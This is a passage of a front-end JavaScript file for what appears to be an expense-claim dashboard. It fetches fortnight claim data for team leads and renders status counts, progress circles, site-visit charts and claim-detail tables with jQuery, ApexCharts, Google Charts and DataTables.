 var PROGRESS_BAR_OBJ_ARRAY=[];
 var MAIN_CIRCLE_DROP_DOWN_ARRAY=[];
 
 var EMPLOYEE_INFO_JSON;
 var TL_INFO_JSON;
 var NEW_EMPLOYEE_INFO_JSON;
 let CURRENT_EDITING_EMPINFO_ARRAYINDEX;
 let CURRENT_MODIFYING_EMPINFO_ARRAYINDEX;
 
 let CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS;//circleWiseFortNightClaimsDetails
 let EMPLOYEEINFO_DATA_TABLE;
 let MODIFY_TYPE_FORM_SUBMIT="modify";
 let INSERT_TYPE_FORM_SUBMIT="insert";
 let TL_DYNAMIC_OPTION_TAG_UI;
 
//  var TL_MANAGING_CIRCLE_ARRAY=[];
 
 $("#fromRequestCircleData").submit(function(e){
    e.preventDefault();
       // append placeholder animation
    let PlaceholderClassObj=new Placeholder();
        PlaceholderClassObj.appendPlaceHolder();
        
    let form=$(this);
    let formSubmitBtn=$("#fromRequestCircleData button.formSubmit");
    formSubmitBtn.html("<i class='fas fa-spinner fa-spin'></i>");
    let serialisedArray=form.serializeArray();
    serialisedArray.push({ name: 'tlId', value: USER_EMPID });//USER_EMPID in index.php file,  internal js
    let postJsonObj=JSON.stringify(convertValuesToObject(serialisedArray));
    console.log(postJsonObj);
    if(!checkWheatherLogoutOrNot_InternetConnection()){ // in checkInternet_connection.js
        alertNoInternet_connection();
        formSubmitBtn.html("<i class='fas fa-redo'></i>");
    }else{
        let responseData=postDataHttpRequest('DashBoard/php/tab_Dashboard_TL.php',postJsonObj);
            responseData.then((result)=>{
                if(result.message=="success"){
                    // apend actual content remove  animation loader
                    let loadContentClassObj=new LoadContent();
                    loadContentClassObj.appendLoadedContent();
                    
                    formSubmitBtn.html("<i class='fas fa-search'></i>");
                    let response=result.responseData;
                    console.log(response);
                    calculateForAllCircleJson_updateJson(response);
                    appendNoOfFortNightClaimsCountDetails(response.fortNightClaimsStatusCount,response.dayClaimsCount);
                    appendNoOfSiteVisitsPerAnnum(response.siteVisitsCount);
                    appendOverAllFortNightAmountDetails(response.fortNightClaimsAmount);
                    appendNoOfCircleWiseSiteVisitDetails(response.circleWiseSiteVisitCount);
                    appendProjectWiseAuditsDetails(response.circleWiseProjectsCount);
                    appendALLFortNightClaimDetailsToTable(response.allfortNightClaims);
                    appendAllEmployeeInfoTabContent(response.allEmployeesInfo);
                    appendNewEmployeeInfoTabContent(response.newEmployeesInfo);
                    TL_INFO_JSON=response.TLInfo;
                    getMainCircleDropDown();
                } 
            })
            .catch((error)=>{
                formSubmitBtn.html("<i class='fas fa-redo'></i>");
                console.log(error);
            })
            .finally(()=>{
            console.log("response ended");
            });
    }
});
    
    
    //-------------------------------------------Box dashbord related code-------------------------------------------------
    function appendNoOfFortNightClaimsCountDetails(fortNightClaimsStatusCount, dayClaimsStatusCount){
        let yearValue=$("#fromRequestCircleData select.year").val();
        $(".fortNightClaimsCountDiv .subHeading .yearValue").html(yearValue);
        $(".section.siteVisitsPerAnnum .yearValue").html(yearValue);
        let statusCountCircleOptionTag=getSelectTagOptionUi(fortNightClaimsStatusCount);
        $(".fortNightClaimsCountDiv .headerDiv select").html(statusCountCircleOptionTag);
       $( ".fortNightClaimsCountDiv .headerDiv select" ).unbind();//or unbind('change') on second time load unbind onchange select tag , else duplicate object will created.
        $(".fortNightClaimsCountDiv .headerDiv select").change(function(){
            let thisCircleName=$(this).val();
            let circleWiseClaimStatus=fortNightClaimsStatusCount[thisCircleName];
            //  alert();
            let claimsArray=[];
             console.log( fortNightClaimsStatusCount);
            claimsArray["pendingAtEmpCnt"]=circleWiseClaimStatus.pending_at_EMP ? circleWiseClaimStatus.pending_at_EMP:0;
            claimsArray["pendingAtTLCnt"]=circleWiseClaimStatus.pending_at_TL ? circleWiseClaimStatus.pending_at_TL:0;
            claimsArray["pendingAtFinanceCnt"]=circleWiseClaimStatus.pending_at_finance?circleWiseClaimStatus.pending_at_finance:0;
            claimsArray["financeApprovedCnt"]=circleWiseClaimStatus.finance_approved?circleWiseClaimStatus.finance_approved:0;
            claimsArray["tlRejectCnt"]=circleWiseClaimStatus.TL_reject ? circleWiseClaimStatus.TL_reject:0;
            claimsArray["finRejectCnt"]=circleWiseClaimStatus.finance_reject?circleWiseClaimStatus.finance_reject:0;
            claimsArray["tlPerRejectCnt"]=circleWiseClaimStatus.tl_perminent_reject?circleWiseClaimStatus.tl_perminent_reject:0;
            claimsArray["financePerRejectCnt"]=circleWiseClaimStatus.finance_perminent_reject?circleWiseClaimStatus.finance_perminent_reject:0;
            claimsArray["perRejectCnt"]=claimsArray["tlPerRejectCnt"]+claimsArray["financePerRejectCnt"];
            claimsArray["totalRejectCounts"]=claimsArray["tlRejectCnt"]+claimsArray["finRejectCnt"]+claimsArray["perRejectCnt"];
            claimsArray["paidCnt"]=circleWiseClaimStatus.paid?circleWiseClaimStatus.paid:0;
            
           
            $("#count_engNotSubmtClaims").html(claimsArray.pendingAtEmpCnt);
            $("#count_engSubmtClaims").html(claimsArray.pendingAtTLCnt);
            $("#count_TLApprovedClaims").html(claimsArray.pendingAtFinanceCnt);
            $("#count_FinanceApprovedClaims").html(claimsArray.financeApprovedCnt);
            $("#count_rejectedClaims").html(claimsArray.totalRejectCounts);
            $("#count_FinancePaidClaims").html(claimsArray.paidCnt);
            
            appendNoOfDayClaimsCountDetails(dayClaimsStatusCount,thisCircleName);
            progressBarPercentage(claimsArray);
            
        });
    }
    
     function progressBarPercentage(countOfFortnightClaims){
      
       let totalFNClaims=countOfFortnightClaims.pendingAtEmpCnt+
                           countOfFortnightClaims.pendingAtTLCnt+
                           countOfFortnightClaims.pendingAtFinanceCnt+
                           countOfFortnightClaims.financeApprovedCnt+
                           countOfFortnightClaims.totalRejectCounts+
                           countOfFortnightClaims.paidCnt;

        
        let pendingClaimsEmpPer=getPercentage(countOfFortnightClaims.pendingAtEmpCnt,totalFNClaims).toFixed(2);
        let pendingClaimsTLPer=getPercentage(countOfFortnightClaims.pendingAtTLCnt,totalFNClaims).toFixed(2);
        let pendingClaimsFinancePer=getPercentage(countOfFortnightClaims.pendingAtFinanceCnt,totalFNClaims).toFixed(2);
        let approvedClaimsFinancePer=getPercentage(countOfFortnightClaims.financeApprovedCnt,totalFNClaims).toFixed(2);
        let rejectedClaimsTotPer=getPercentage(countOfFortnightClaims.totalRejectCounts,totalFNClaims).toFixed(2);
        let paidClaimsFinancePer=getPercentage(countOfFortnightClaims.paidCnt,totalFNClaims).toFixed(2);
        
        $(".card.engNotSubmtClaims .inner").html( Math.floor(pendingClaimsEmpPer)+"%").attr("data-original-title",pendingClaimsEmpPer+"%");
        $(".card.engSubmtClaims .inner").html( Math.floor(pendingClaimsTLPer)+"%").attr("data-original-title",pendingClaimsTLPer+"%");
        $(".card.TLApprovedClaims .inner").html( Math.floor(pendingClaimsFinancePer)+"%").attr("data-original-title",pendingClaimsFinancePer+"%");
        $(".card.FinanceApprovedClaims .inner").html( Math.floor(approvedClaimsFinancePer)+"%").attr("data-original-title",approvedClaimsFinancePer+"%");
        $(".card.FinancePaidClaims .inner").html( Math.floor(paidClaimsFinancePer)+"%").attr("data-original-title",paidClaimsFinancePer+"%");
        $(".card.rejectedClaims .inner").html( Math.floor(rejectedClaimsTotPer)+"%").attr("data-original-title","Percentage:<b>"+rejectedClaimsTotPer+"%</b> <br>TL Reject:<b>"+countOfFortnightClaims.tlRejectCnt+"</b><br>Finance Reject:<b>"+countOfFortnightClaims.finRejectCnt+"</b><br>Permanent Reject:<b>"+countOfFortnightClaims.perRejectCnt+"</b>");
        
        this.progressBarCircle(pendingClaimsEmpPer,".card.engNotSubmtClaims .progress",COLOR_CLAIM_IN_EMP_BUCKET,0);
        this.progressBarCircle(pendingClaimsTLPer,".card.engSubmtClaims .progress",COLOR_CLAIM_PENDING,1);
        this.progressBarCircle(pendingClaimsFinancePer,".card.TLApprovedClaims .progress",COLOR_CLAIM_TL_APPROVED,2);
        this.progressBarCircle(approvedClaimsFinancePer,".card.FinanceApprovedClaims .progress",COLOR_CLAIM_FINANCE_APPROVED,3);
        this.progressBarCircle(rejectedClaimsTotPer,".card.rejectedClaims .progress",COLOR_CLAIM_REJECTED,4);
        this.progressBarCircle(paidClaimsFinancePer,".card.FinancePaidClaims .progress",COLOR_CLAIM_PAID,5);
        
        
    }
    function getPercentage(value,totalValue){
        
        let percentage=totalValue!=0 ? (value/totalValue)*100 :0;
        return percentage;
    }
    function progressBarCircle(percentage, className, colorValue, index){
        let checkAlreadyExist=$(className).has("svg").length ? false : true;
        if(checkAlreadyExist){       
            new ProgressBar.Circle(className, {
                              color: '#d8d8d8',
                              strokeWidth: 15,
                              duration: 2000, // milliseconds
                              easing: 'easeInOut'
                            }).animate(100/100); // percent
                            
              let progressBar= new ProgressBar.Circle(className, {
                              color: colorValue,
                              strokeWidth: 15,
                              duration: 2000, // milliseconds
                              easing: 'easeInOut'
                    
                            }); // percent
                            
             PROGRESS_BAR_OBJ_ARRAY[className]=progressBar;
              progressBar.animate(percentage/100);
         
        }else{
            PROGRESS_BAR_OBJ_ARRAY[className].animate(percentage/100);
        }
    }
    
    
    function appendNoOfDayClaimsCountDetails(dayClaimResponse,thisCircleName){
        //console.log(dayClaimResponse);
        let circleWiseClaimStatus=dayClaimResponse[thisCircleName];
        let claimsArray=[];
         claimsArray["pendingAtEmpCnt"]=circleWiseClaimStatus.pending_at_EMP ? circleWiseClaimStatus.pending_at_EMP:0;
            claimsArray["pendingAtTLCnt"]=circleWiseClaimStatus.pending_at_TL ? circleWiseClaimStatus.pending_at_TL:0;
            claimsArray["pendingAtFinanceCnt"]=circleWiseClaimStatus.pending_at_finance?circleWiseClaimStatus.pending_at_finance:0;
            claimsArray["financeApprovedCnt"]=circleWiseClaimStatus.finance_approved?circleWiseClaimStatus.finance_approved:0;
            claimsArray["tlRejectCnt"]=circleWiseClaimStatus.TL_reject ? circleWiseClaimStatus.TL_reject:0;
            claimsArray["finRejectCnt"]=circleWiseClaimStatus.finance_reject?circleWiseClaimStatus.finance_reject:0;
            claimsArray["tlPerRejectCnt"]=circleWiseClaimStatus.tl_perminent_reject?circleWiseClaimStatus.tl_perminent_reject:0;
            claimsArray["financePerRejectCnt"]=circleWiseClaimStatus.finance_perminent_reject?circleWiseClaimStatus.finance_perminent_reject:0;
            claimsArray["perRejectCnt"]=claimsArray["tlPerRejectCnt"]+claimsArray["financePerRejectCnt"];
            claimsArray["totalRejectCounts"]=claimsArray["tlRejectCnt"]+claimsArray["finRejectCnt"]+claimsArray["perRejectCnt"];
            claimsArray["paidCnt"]=circleWiseClaimStatus.paid?circleWiseClaimStatus.paid:0;
            
            $(".engNotSubmtClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.pendingAtEmpCnt);
            $(".engSubmtClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.pendingAtTLCnt);
            $(".TLApprovedClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.pendingAtFinanceCnt);
            $(".FinanceApprovedClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.financeApprovedCnt);
            $(".rejectedClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.totalRejectCounts);
            $(".FinancePaidClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.paidCnt);
        
    }
    
    
    //------------------------------end---------------------------
    
    //----------------------------------------------------------------------lineChart----------------------------------------------------------

    function appendNoOfSiteVisitsPerAnnum(siteVisitsForLineChartArray){
       // console.log(siteVisitsForLineChartArray);
         let statusCountCircleOptionTag=getSelectTagOptionUi(siteVisitsForLineChartArray);
        $(".multiSectionDev .siteVisitsPerAnnum select").html(statusCountCircleOptionTag);
        $(".multiSectionDev .siteVisitsPerAnnum select").unbind();
        $(".multiSectionDev .siteVisitsPerAnnum select").change(function(){
            let thisCircleName=$(this).val();
            let circleWiseSiteVisitsArray=siteVisitsForLineChartArray[thisCircleName];
            
            let keyArray=[];
            let valueArray=[];
            $.each(circleWiseSiteVisitsArray,function(key, value){
                keyArray.push(key);
            });
            sortByMonth(keyArray);
            $.each(keyArray,function(index, value){
                valueArray.push(circleWiseSiteVisitsArray[value]);
            });
            apexChartNoOfSiteVisitsOption(keyArray, valueArray);
        });
        
        function apexChartNoOfSiteVisitsOption(keyArray, valueArray){
            $("#siteVisitsPerAnnum_mainDiv").empty();
             var options = {
                            colors: ['#3b3b3b'],
                            series: [{
                                name: "SiteVisits",
                                data: valueArray
                                }],
                                chart: {
                                    height: 350,
                                    type: 'line',
                                    zoom: {
                                        enabled: false
                                    }
                                },
                            dataLabels: {
                                enabled: true
                            },
                            stroke: {
                                curve: 'straight'
                            },
                            title: {
                                text: 'Month wise Site Visits',
                                align: 'left'
                            },
                            grid: {
                                row: {
                                    colors: ['#f3f3f3', 'transparent'], // takes an array which will be repeated on columns
                                    opacity: 0.5
                                },
                            },
                            xaxis: {
                               categories: keyArray,
                            }
            };
    
            var chart = new ApexCharts(document.querySelector("#siteVisitsPerAnnum_mainDiv"), options);
            chart.render();
            
            
        }
    }    
//----------------------------------end------------------------------
//---------------------------------------------------------------------------Pie-Chart(fortNightAmount)---------------------------------------------
    function appendOverAllFortNightAmountDetails(pieChartfortNightClaimsAmountArray){
        //console.log(pieChartfortNightClaimsAmountArray);
        let statusCountCircleOptionTag=getSelectTagOptionUi(pieChartfortNightClaimsAmountArray);
        $(".multiSectionDev .overAllFortNightAmounts select").html(statusCountCircleOptionTag);
        $(".multiSectionDev .overAllFortNightAmounts select").unbind();
        $(".multiSectionDev .overAllFortNightAmounts select").change(function(){
            let thisCircleName=$(this).val();
            let circleWiseFortNightClaimsAmount=pieChartfortNightClaimsAmountArray[thisCircleName];
            let details=Object.entries(circleWiseFortNightClaimsAmount);
            if(circleWiseFortNightClaimsAmount){
                details.unshift(['Task','fortNight amounts']);
                google.charts.load('current', {'packages':['corechart']});
                google.charts.setOnLoadCallback(function() {
                    var data = google.visualization.arrayToDataTable(details);                              // Optional; add a title and set the width and height of the chart
                    var options = {
                                    'legend': {'position': 'none'},
                                    'colors':['#ffb547','#7783db','#c363ff','#7bc67e','#f06191','#64b6f7'],
                                    'pieSliceBorderColor':'transparent',
                                    'pieSliceText':'none',
                                    'tooltip':{'text':'value'}
                    };
                    var chart = new google.visualization.PieChart(document.getElementById('fortNgtAmtDetailsPiechart_mainDiv'));
                    chart.draw(data, options);
                });
                let EmpClaimedAmount=circleWiseFortNightClaimsAmount.EmpClaimedAmount ? circleWiseFortNightClaimsAmount.EmpClaimedAmount:0 ;
                let TotalTLApprovedAmount= circleWiseFortNightClaimsAmount.TotalTLApprovedAmount ?circleWiseFortNightClaimsAmount.TotalTLApprovedAmount:0;
                let TotalFinanceApprovedAmount=circleWiseFortNightClaimsAmount.TotalFinanceApprovedAmount ?circleWiseFortNightClaimsAmount.TotalFinanceApprovedAmount:0;
                let PaidAmount=circleWiseFortNightClaimsAmount.PaidAmount ? circleWiseFortNightClaimsAmount.PaidAmount:0;
                
                $("#fnEnggClaimdAmount").html(convertToRupeesFromate(EmpClaimedAmount));
                $("#fnTLClaimdAmount").html(convertToRupeesFromate(TotalTLApprovedAmount));
                $("#fnFinanceClaimdAmount").html(convertToRupeesFromate(TotalFinanceApprovedAmount));
                $("#fnPaidAmount").html(convertToRupeesFromate(PaidAmount));
            }

         });
    }
//----------------------------------end---------------------------------
    
    function appendNoOfCircleWiseSiteVisitDetails(siteVisitOfCircleDetails){
        if(Object.keys(siteVisitOfCircleDetails).length>0){
            let mainArray=[];
            $.each(siteVisitOfCircleDetails, function(key, value){
                let temp=[];
                $.each(value, function(subKey, subValue){
                    temp.push(subValue);
                });
                mainArray.push(temp);
            });
            sortArrayCircleInAlphabetical(mainArray);
            mainArray.unshift(['Circle','NoOfSiteVisits','RegularVisits','Revisits']);
            google.charts.load('current', {'packages':['corechart','bar']});
             //google.charts.load('current', {'packages':['bar']});
            google.charts.setOnLoadCallback(function() {
                var data = google.visualization.arrayToDataTable(mainArray);                              // Optional; add a title and set the width and height of the chart
                var options = {
                    chart: {
                        subtitle: 'NoOfSiteVisits, RegularVisits, and Revisits:2021',
                    },
                    colors:['#7783db','#ffb547','#db4437','#7bc67e','#f06191','#64b6f7'],
                    height:400,
                    bar: {groupWidth: "75%"},
                    theme:'material'
                };
                var chart = new google.visualization.ColumnChart(document.getElementById('circleWiseSiteVisitsDetailsLinechart_mainDiv'));
                    chart.draw(data, options);
            //   var chart = new google.charts.Bar(document.getElementById('circleWiseSiteVisitsDetailsLinechart_mainDiv'));
            //                 chart.draw(data, google.charts.Bar.convertOptions(options));
            });
        }else{
            $("#circleWiseSiteVisitsDetailsLinechart_mainDiv").html('<p class="m-auto">No Data</p>');
        }
    }

//-------------------------end-----------------------------------------------------------

//----------------------------------------------tableData(All FortNightClaims)----------------------------------------
    function appendALLFortNightClaimDetailsToTable(allFortNightClaimsDetails){
        //console.log(allFortNightClaimsDetails);
        let statusCountCircleOptionTag=getSelectTagOptionUi(allFortNightClaimsDetails);
        $(".claimDetailsOfIndividuals select.subCircleDropDown").html(statusCountCircleOptionTag);
        $(".claimDetailsOfIndividuals select.subCircleDropDown").unbind();

        // $("#claimDetailsTableHead").html(allFortNightClaimsDetails_tableHeading());
        
        $(".claimDetailsOfIndividuals select.subCircleDropDown").change(function(){
            let thisCircleName=$(this).val();
            console.log("allFortNightClaimsDetails",allFortNightClaimsDetails);
            CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS=allFortNightClaimsDetails[thisCircleName];
            console.log(CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS);
                        
            if ($.fn.DataTable.isDataTable( '#claimDetailsTable' ) ) {
                $('#claimDetailsTable').DataTable().clear().destroy();
            }
            
            let tableUI='';
            $.each(CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS, function(index, object){
                tableUI+=`<tr>
                                <td>${index+1}</td>
                                <td>${object.EMP_ID}</td>
                                <td>${object.NAME}</td>
                                <td>${object.FORTNIGHT}</td>
                                <td>${object.SUBMITION_STATUS}</td>
                                <td>${object.EMP_CIRCLE}</td>
                                <td>${object.NO_OF_SITE_VISITS}</td>
                                <td>${object.WORKINGDAYS}</td>
                                <td>${object.TL_NAME}</td>
                                <td>${object.TL_ID}</td>
                                <td>${object.ENG_FN_OTHER_BILLS}</td>
                                <td>${object.ENG_FN_HOTEL_BILLS}</td>
                                <td>${object.EMP_FN_FINAL_AMOUNT}</td>
                                <td>${object.TL_FN_OTHER_BILLS}</td>
                                <td>${object.TL_FN_HOTEL_BILLS}</td>
                                <td>${object.TL_FN_FINAL_AMOUNT}</td>
                                <td>${object.TL_DEDUCT_AMOUNT}</td>
                                <td>${object.FINANCE_FN_OTHER_BILLS}</td>
                                <td>${object.FINANCE_FN_HOTEL_BILLS}</td>
                                <td>${object.FINANCE_FN_FINAL_AMOUNT}</td>
                                <td>${object.FINANCE_DEDUCT_AMOUNT}</td>
                                <td>${object.FN_TOTAL_FTA}</td>
                                <td>${object.TOTAL_ADVANCE_GIVEN}</td>
                                <td>${(object.TOTAL_ADVANCE_GIVEN)!=0 ? `<button class="btn btn-theme-type1 getAdvanceAmountReleasedStmt" data-toggle="modal" data-target="#commonModalPopup" data-response-json-index="${index}"  style="padding: 0px 8px;">View</button>`:`--`}</td>
                                <td ${checkForNegativeValue(object.PREVIOUS_FN_ADJUSTMENT)}>${object.PREVIOUS_FN_ADJUSTMENT}</td>
                                <td ${checkForNegativeValue(object.FINAL_PAYABLE_VALUE)}>${object.FINAL_PAYABLE_VALUE}</td>
                                <td class="text-center position-relative">${getReasonButton(object.REASONS_COUNT, object.TL_DEDUCT_AMOUNT,object.FINANCE_DEDUCT_AMOUNT,index)}</td>
                                <td></td>
                          </tr>`;
                        
                                // <td>${object.FROM_DATE}</td>
                                // <td>${object.TO_DATE}</td>  
            });
            $("#claimDetailsTableBody").html(tableUI);
            
            let claimDataTable=$("#claimDetailsTable").DataTable({  
                                                dom: 'lBfrtip',
                                                destroy : true,
                                                buttons: [
                                                            'copy', {extend:'excelHtml5',title:`${thisCircleName} Circle Employee FortNight`}, 'print'    // 'copy', 'csv', 'excel', 'pdf', 'print'
                                                         ],
                                                aLengthMenu: [[10, 50, 100, 500, -1], [10, 50, 100, 500, "All"]],
                                                pageLength: 10,
                                                // scrollX: true
                                                });
            // if circle as no data
            if(!CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS){
                claimDataTable.clear().draw();  
            }
                                                
         });
         
         $("#claimDetailsTable").on('click','tr td button.getDeductedReasonsClaims', function(){
             let jsonIndex=$(this).attr('data-response-json-index');
            getFortNightDeductedClaims_Request(jsonIndex);
            removeUnwantedCode();
         });
         
         $("#claimDetailsTable").on('click','tr td button.getAdvanceAmountReleasedStmt', function(){
             let jsonIndex=$(this).attr('data-response-json-index');
             getAdvanceAmountReleasedStatement_Request(jsonIndex);
            removeUnwantedCode();
         });
      }
      
      $("#ReasonModalPopup").on('click','.retry_getDeductedReasonsClaims',function(){
            let jsonIndex=$(this).attr('data-response-json-index');
            getFortNightDeductedClaims_Request(jsonIndex);
      });
      
      $("#commonModalPopup ").on('click','.retry_getAdvanceAmtStatement',function(){
            let jsonIndex=$(this).attr('data-response-json-index');
            getAdvanceAmountReleasedStatement_Request(jsonIndex);
      });
      
      function checkForNegativeValue(value){
          let className_and_Tooltip='';
          if(value<0){
             className_and_Tooltip=`class="text-success font-weight-bold pe-auto" data-toggle="Abbrevation_tooltip" title="Remaining Advance At Employee"`; 
          }
          return className_and_Tooltip;
      }      
        
      function getReasonButton(reasonsCount, tlDedctAmt, fincDedctAmt, index){
          let reasonBtnUI;
          if(reasonsCount==0 && tlDedctAmt==0 && fincDedctAmt==0){
            reasonBtnUI=`--`;
          }else{
            reasonBtnUI=`<button class=" btn btn-theme-type1 getDeductedReasonsClaims" data-toggle="modal" data-target="#ReasonModalPopup" data-response-json-index="${index}" style="padding: 0px 8px;" >Reasons</button>
                         <div><sup class="fnReasonBtnNotificationNo" style="right: 0; top: 0; font-size: 9px; padding: 6px 5px;">${reasonsCount}</sup></div>`; 
          }
          return reasonBtnUI;
      }
      function getFortNightDeductedClaims_Request(jsonIndex) {
            let retryBtn=$("#ReasonModalPopup .modal-footer .retry_getDeductedReasonsClaims");
            $("#ReasonModalPopup .modal-body").html('<h3 class="text-center"><i class="fas fa-spinner fa-spin"></i></h3>');
             //console.log("CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS",CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS,"jsonIndex",jsonIndex);
            if(CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS){
                let jsonArray=CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS[jsonIndex];
                let obj={
                    empId : jsonArray["EMP_ID"],
                    fromDate : jsonArray["FROM_DATE"],
                    toDate : jsonArray["TO_DATE"]
                 }
                 let postJsonObj= JSON.stringify(obj);
                 if(!checkWheatherLogoutOrNot_InternetConnection()){// in checkInternet_connection.js
                     alertNoInternet_connection();
                     //retry
                     $("#ReasonModalPopup .modal-body").html('<h3 class="text-center"><i class="fas fa-redo"></i></h3>');
                     retryBtn.attr("data-response-json-index",jsonIndex);
                     retryBtn.show();
                 }else{
                     let responseData=postDataHttpRequest('DashBoard/php/getDeductedReasonsClaims.php', postJsonObj);
                         responseData.then((result)=>{
                             if(result.message=="SUCCESS"){
                                 retryBtn.hide();
                                appendDeductedReasonClaimsDetails(result.responseDataArray, jsonArray["TL_DEDUCT_AMOUNT"],jsonArray["FINANCE_DEDUCT_AMOUNT"]);
                                $("#ReasonModalPopup .empName").html(": "+jsonArray["NAME"]);
                                $("#ReasonModalPopup .empId").html(": "+obj.empId);
                                $("#ReasonModalPopup .fortNight").html(": "+jsonArray["FORTNIGHT"]);
                             }else{
                                 $("#ReasonModalPopup .modal-body").html(`<p class="text-danger text-center">Internal erro 500</p>`)
                             }
                         })
                         .catch((error)=>{
                             $("#ReasonModalPopup .modal-body").html('<h3 class="text-center"><i class="fas fa-redo"></i></h3>');
                                 retryBtn.attr("data-response-json-index",jsonIndex);
                                 retryBtn.show();
                         })
                         .finally(()=>{
                             
                         });
                         
                 }
            }else{
                alert("CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS array have no data");
            }
        }
      
        function appendDeductedReasonClaimsDetails(responseJson,fortNtTLDedcutAmnt,fortNtFncnDedcutAmnt){
            // console.log(responseJson);
            let tableBody='';
            let totalEngFinalAmount=totalTLFinalAmount=totalFncnFinalAmount=totalTLDeductAmount=totalFncnDeductAmount=totalDeductAmount=0;
            $.each(responseJson, function(index, object){
                totalEngFinalAmount+=object.engFinalAmount;
                totalTLFinalAmount+=object.TLFinalAmount;
                totalFncnFinalAmount+=object.fncnFinalAmount;
                totalTLDeductAmount+=object.TLDeductAmount;
                totalFncnDeductAmount+=object.fncnDeductAmount;
                totalDeductAmount+=object.totDeductAmount;
                
                tableBody+=`<tr>
                                <td>${index+1}</td>
                                <td>${object.empId}</td>
                                <td>${object.siteVisitDate}</td>
                                <td>${getClaimStatusIcon((object.claimStatus).toString())}</td>
                                <td>${object.engFinalAmount}</td>
                                <td>${object.TLFinalAmount}</td>
                                <td>${object.fncnFinalAmount}</td>
                                <td>${object.TLDeductAmount}</td>
                                <td>${object.fncnDeductAmount}</td>
                                <td class="p-1"><textarea class="form-control" readonly rows="1">${object.TLDeductReason}</textarea></td>
                                <td class="p-1"><textarea class="form-control" readonly rows="1">${object.fncnDeductReason}</textarea></td>
                                <td class="p-1"><textarea class="form-control" readonly rows="1">${object.rejectReason}</textarea></td>
                                <td>${object.totDeductAmount}</td>
                                </tr>`;
            });
            //<td>${getClaimStatusIcon(object.claimStatus)}</td>
            tableBody+=`<tr style="background-color: rgba(0,0,0,.075)">
                            <th>Total</th>
                            <th colspan="3"></th>
                            <th>${totalEngFinalAmount}</th>
                            <th>${totalTLFinalAmount}</th>
                            <th>${totalFncnFinalAmount}</th>
                            <th ${compareDeductAmount(fortNtTLDedcutAmnt,totalTLDeductAmount)}>${totalTLDeductAmount}</th>
                            <th ${compareDeductAmount(fortNtFncnDedcutAmnt,totalFncnDeductAmount)}>${totalFncnDeductAmount}</th>
                            <th colspan="3"></th>
                            <th>${totalDeductAmount}</th>
                        </tr>`;
            let reasonClaimsTableUI=`<table class="table table-hover w-100 border text-center">
                                        <thead>
                                            <tr>
                                                <th>S.No</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="ENGINEER EMP ID">EMPID</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="SITE VISIT DATE">SVD</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="CLAIM STATUS">STATUS</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="ENGINEER FINAL AMOUNT">EFA</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="TL APPROVED FINAL AMOUNT">TFA</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="FINANCE APPROVED FINAL AMOUNT">FFA</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="TL DEDUCTED AMOUNT">TDA</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="FINANCE DEDUCTED AMOUNT">FDA</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="TL DEDUCTED REASON" style="width:15%">TL DEDUCTED REASON</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="FINANCE DEDUCTED REASON" style="width:15%">FINANCE DEDUCTED REASON</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="REJECTED REASON" style="width:15%">REJECTED REASON</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="TOTAL DEDUCTED AMOUNT">TDA</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                                ${tableBody ? tableBody:'<tr><td colspan="12"><h5>No Data found</h5></td></tr>'}
                                        </tbody>
                                    </table>`;
            $("#ReasonModalPopup .modal-body").html(reasonClaimsTableUI);
        }
        function compareDeductAmount(fortNightTotalValueDeducted,ReasonClaimsTotalValueDeducted){
            let attributes;
            if(fortNightTotalValueDeducted!=ReasonClaimsTotalValueDeducted){
                attributes= `class="text-danger" data-toggle="Abbrevation_tooltip" title="Miss matched with fortnight value contact support team"`;
            }else{
               attributes=''; 
            }
            return attributes;
        }
        function getClaimStatusIcon(claimStatus){
            let iconUI;
            switch(claimStatus){
                case CLAIM_IN_EMP_BUCKET:
                    iconUI='<i class="fa fa-check-square text-secondary" data-toggle="tooltip" title="Claim in emp bucket"></i>';
                    break;
                case CLAIM_PENDING:
                     iconUI='<i class="fa fa-check-square text-warning" data-toggle="tooltip" title="Claim pending at TL"></i>';
                    break;
                case CLAIM_TL_APPROVED:
                     iconUI='<i class="fa fa-check-square text-primary" data-toggle="tooltip" title="TL Approved"></i>';
                    break;
                case CLAIM_TL_REJECTED:
                     iconUI='<i class="fa fa-check-square text-danger" data-toggle="tooltip" title="TL Reject"></i>';
                    break;
                case CLAIM_FINANCE_APPROVED:
                     iconUI='<i class="fa fa-check-square text-violate" data-toggle="tooltip" title="Finance Approved"></i>';
                    break;
                case CLAIM_FINANCE_REJECTED:
                     iconUI='<i class="fa fa-check-square text-danger" data-toggle="tooltip" title="Finance Rejected"></i>';
                    break;
                case CLAIM_PAID:
                     iconUI='<i class="fa fa-check-square text-success" data-toggle="tooltip" title="Finance Paid"></i>';
                    break;
                case CLAIM_PERMANENT_TL_REJECT:
                     iconUI='<i class="fa fa-times text-danger" data-toggle="tooltip" title="TL Permanent Reject"></i>';
                    break;
                case CLAIM_PERMANENT_FINANCE_REJECT:
                     iconUI='<i class="fa fa-times text-danger" data-toggle="tooltip" title="Finance Permanent Reject"></i>';
                    break;
                default:
                    iconUI="default55";
            }
            return iconUI;
        }
    
                
    function getAdvanceAmountReleasedStatement_Request(jsonIndex){
